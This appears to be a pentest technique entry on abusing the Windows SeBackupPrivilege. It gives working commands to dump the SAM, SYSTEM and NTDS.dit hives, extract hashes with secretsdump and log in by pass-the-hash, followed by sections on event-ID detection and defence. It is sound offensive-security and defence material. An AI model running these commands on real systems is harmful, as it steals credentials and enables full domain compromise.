SeBackupPrivilege

SeBackupPrivilege is a Windows privilege meant for backup programs: it allows reading any file on the system while bypassing ACLs, because a backup must be able to copy files its operator would normally have no access to. When a non-administrator account has it active (visible with whoami /priv), that "full read right" becomes a direct path to escalation.

Dumping SAM/SYSTEM (normal host)

The canonical technique is copying the registry hives that hold local credentials. SeBackupPrivilege lets you export them even when protected:

reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\system

Both files are downloaded to the attacker machine and processed offline with secretsdump, which uses the SYSTEM hive (with the bootkey) to decrypt the SAM hashes:

impacket-secretsdump -sam sam -system system LOCAL

Out comes the local Administrator NT hash, reused with pass-the-hash (evil-winrm -u Administrator -H <hash>) to log in as administrator without knowing the password.

Dumping NTDS.dit (domain controller)

On a DC the target is NTDS.dit, which is in use and locked. Since the privilege allows backup reads, you copy it with robocopy /b (backup mode) or take a shadow copy with diskshadow and copy from there:

# diskshadow: create a snapshot of C: mounted on E: and copy NTDS + SYSTEM
diskshadow> set context persistent nowriters
diskshadow> add volume c: alias one
diskshadow> create
diskshadow> expose %one% e:

robocopy /b E:\Windows\NTDS C:\Temp ntds.dit
reg save hklm\system C:\Temp\system

impacket-secretsdump -ntds ntds.dit -system system LOCAL   # or -just-dc-ntlm

That dumps all domain hashes, including Administrator and krbtgt (which enables a Golden Ticket). The PowerShell SeBackupPrivilegeUtils/SeBackupPrivilegeCmdLets module (Copy-FileSeBackupPrivilege) does the same without robocopy when that fails.

Requirements

SeBackupPrivilege present and enabled in the token (sometimes it must be enabled explicitly). For NTDS.dit you also need to be on a DC. It does not require being an administrator: that is precisely the point.

How to detect it. Using the privilege leaves an Event ID 4673 (a privileged service was called) or 4674 referencing SeBackupPrivilege, useful because almost no legitimate tool other than backup exercises it. The reg save of the hives generates a 4688 (process creation) with command line reg save hklm\sam/hklm\system and, with object-access auditing and a SACL on those keys, a 4663 reading SAM/SECURITY/SYSTEM. On a DC, reading NTDS.dit or using a shadow copy (diskshadow, esentutl, robocopy /b) to copy it are the highest-severity signatures. The key: correlate possession of the privilege on a non-backup account with any access to those hives.

Defence. Do not grant SeBackupPrivilege to accounts that are not legitimate backup services, segregate those accounts, and watch for reads of SAM/SYSTEM/NTDS.dit or the use of reg save/diskshadow/robocopy /b over the hives. It is a cousin of other abusable privileges (SeRestorePrivilege, SeTakeOwnershipPrivilege) and leads to Pass-the-Hash and, on a DC, full domain control.